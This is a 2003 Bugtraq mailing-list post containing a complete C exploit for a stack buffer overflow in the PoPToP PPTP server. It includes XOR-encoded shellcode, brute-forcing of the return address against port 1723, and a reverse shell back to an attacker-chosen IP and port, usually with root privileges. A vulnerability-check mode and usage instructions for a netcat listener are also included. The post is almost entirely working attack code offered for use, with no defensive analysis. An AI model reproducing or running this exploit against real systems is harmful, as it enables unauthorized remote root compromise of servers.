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Message-ID: <116150283125.20030418182758@front.ru>
Date: Fri, 18 Apr 2003 18:27:58 +0400
From: "einstein, dhtm" <einstein_dhtm@...nt.ru>
To: bugtraq@...urityfocus.com
Subject: Exploit for PoPToP PPTP server
hello bugtraq,
Here is an exploit for a recently discovered vulnerability in PoPToP
PPTP server under Linux. Versions affected are all prior to
1.1.4-b3 and 1.1.3-20030409.
The exploit is capable of bruteforcing the RET address to find our
buffer in the stack. Upon a successfull run it brings up a reverse
shell with privileges of the pptpd daemon (typically root)
on the victim server.
Have fun,
einstein, dH team
einstein_dhtm@...nt.ru
P.S. Greets to ERRor, Death and all others.
Exploit code (compiles on win32):
---------------- Cut ---------------------
#include <iostream.h>
#include <winsock.h>
#include <stdio.h>
#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD
char shellcode[] =
"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"
"\x01\x01" // port
"\x54\xd6\x63"
"\x01\x01\x01\x01" // ip address
"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
"\xfd\xbc\xe0\xfb";
struct pptp_header {
u_int16_t length; /* pptp message length incl header */
u_int16_t pptp_type; /* pptp message type */
u_int32_t magic; /* magic cookie */
u_int16_t ctrl_type; /* control message type */
u_int16_t reserved0; /* reserved */
};
#define MAX_HOSTNAME_SIZE 64
#define MAX_VENDOR_SIZE 64
#define PPTP_VERSION 0x0100
struct pptp_start_ctrl_conn_rqst {
struct pptp_header header; /* pptp header */
u_int16_t version; /* pptp protocol version */
u_int16_t reserved1; /* reserved */
u_int32_t framing_cap; /* framing capabilities */
u_int32_t bearer_cap; /* bearer capabilities */
u_int16_t max_channels; /* maximum channels */
u_int16_t firmware_rev; /* firmware revision */
u_int8_t hostname[MAX_HOSTNAME_SIZE]; /* hostname */
u_int8_t vendor[MAX_VENDOR_SIZE]; /* vendor */
};
struct pptp_echo_rqst {
struct pptp_header header; /* header */
u_int32_t identifier; /* value to match rply with rqst */
char buf[10000];
};
struct pptp_reply {
struct pptp_header header; /* header */
char buf[10000];
};
/* Magic Cookie */
#define PPTP_MAGIC_COOKIE 0x1a2b3c4d
/* Message types */
#define PPTP_CTRL_MESSAGE 1
/* Control Connection Management */
#define START_CTRL_CONN_RQST 1
#define START_CTRL_CONN_RPLY 2
#define STOP_CTRL_CONN_RQST 3
#define STOP_CTRL_CONN_RPLY 4
#define ECHO_RQST 5
#define ECHO_RPLY 6
// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50
void send_init_request(SOCKET st)
{
pptp_start_ctrl_conn_rqst request;
request.header.magic = htonl(PPTP_MAGIC_COOKIE);
request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
request.version = PPTP_VERSION;
request.framing_cap = 0;
request.bearer_cap = 0;
request.max_channels = 1;
request.firmware_rev = 0;
strcpy(request.hostname,"hell");
strcpy(request.vendor,"domain HELL");
request.header.length = ntohs(sizeof(request));
send(st,(char*)&request,sizeof(request),0);
}
void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
{
pptp_echo_rqst ping;
ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
ping.header.ctrl_type = htons(ECHO_RQST);
ping.identifier = 111;
ping.header.length = ntohs(1);
strcpy(ping.buf,"");
int buflen = 500;
for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");
memcpy(ping.buf+364,(char*)&ret,4);
// patch shellcode
// we have a shellcode xored by 0x93.. let's unxor it :)
for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;
*(unsigned short int*)(shellcode+43) = htons(port);
*(unsigned long int*)(shellcode+48) = inet_addr(hostname);
// we leave 100 bytes for NOPs
memcpy(ping.buf+100,shellcode,sizeof(shellcode));
send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
}
SOCKET st;
int connect_server(char* hostname)
{
st=socket(PF_INET,SOCK_STREAM,0);
if (st==INVALID_SOCKET) return 0;
sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=0;
addr.sin_addr.s_addr=0;
bind(st, (LPSOCKADDR)&addr,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_port=htons(1723);
addr.sin_addr.s_addr=inet_addr(hostname);
printf("connecting... ");
if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
{
printf("Connect error. GetLastError=%d\n",GetLastError());
return 0;
}
return 1;
}
int main(int argc, char** argv)
{
printf("\n");
printf(" D H H \n");
printf(" D H H T\n");
printf(" D H H H T EE AA M M \n");
printf(" DDD D HHHHHHH T E E A A MM MM \n");
printf(" D DD H H H TTTT E E A A MM MM \n");
printf(" D D H H T EEE AAAA M M M \n");
printf(" D D H H T E A A M M \n");
printf(" DDDD H H TTT EEE A A M M ");
printf(" ... presents ... \n\n");
printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
printf("by .einstein., April 2003.\n");
printf("\n");
if (argc < 2)
{
printf("usage: \n");
printf(" %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
printf(" <pptp_server> is the ip address or hostname of the PoPToP server\n");
printf(" you want to attack. Port 1723 is used for connection\n");
printf(" <your_ip> and <your_port> - specify an ip address to which\n");
printf(" a connection is possible to port <your_port> and set up a\n");
printf(" netcat listener. You'll get a reverse shell.\n");
printf(" <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
printf(" If you only pass a single parameter, the program will check\n");
printf(" whether remote server is vulnerable or not. Otherwise it will\n");
printf(" perform a ret bruteforce.\n");
printf("usage examples:\n");
printf(" %s 192.168.1.2 192.168.1.1 5555\n",argv[0]);
printf(" attack 192.168.1.2 and get a reverse shell on port 5555\n");
printf(" %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]);
printf(" attack a locally running pptpd with a timeout of 100 ms\n");
printf(" and get a shell on port 6666.\n");
printf(" %s 192.168.1.56\n",argv[0]);
printf(" check if the PoPToP server on 192.168.1.56 is vulnerable.\n");
return 0;
}
int timeout = 500;
if (argc >= 5) timeout = atoi(argv[4]);
// init winsock
WORD version=0x0101;
WSADATA data;
WSAStartup(version,&data);
DWORD ret;
if (argc == 2)
{
if (!connect_server(argv[1])) return 1;
printf("\nChecking if the server is vulnerable..\n");
printf("(if it is you have to wait 65 seconds)..\n");
send_init_request(st);
ret = 0x01010101;
int bytes;
pptp_reply reply;
//header length
bytes = recv(st,(char*)&reply,2,0);
bytes = ntohs(reply.header.length);
bytes = recv(st,(char*)&reply+2,bytes-2,0);
int j = htons(reply.header.ctrl_type);
send_ping_overflow(st,ret,"0.0.0.0",0);
//header length
bytes = recv(st,(char*)&reply,2,0);
printf("PoPToP server is ");
if (bytes != SOCKET_ERROR) printf("vulnerable!\n");
else printf("not vulnerable\n");
closesocket(st);
return 1;
}
printf("[!] Attempting bruteforce against %s\n",argv[1]);
printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
int checked = 0;
for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
{
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
closesocket(st);
Sleep(timeout);
printf("done\n");
}
return 0;
}
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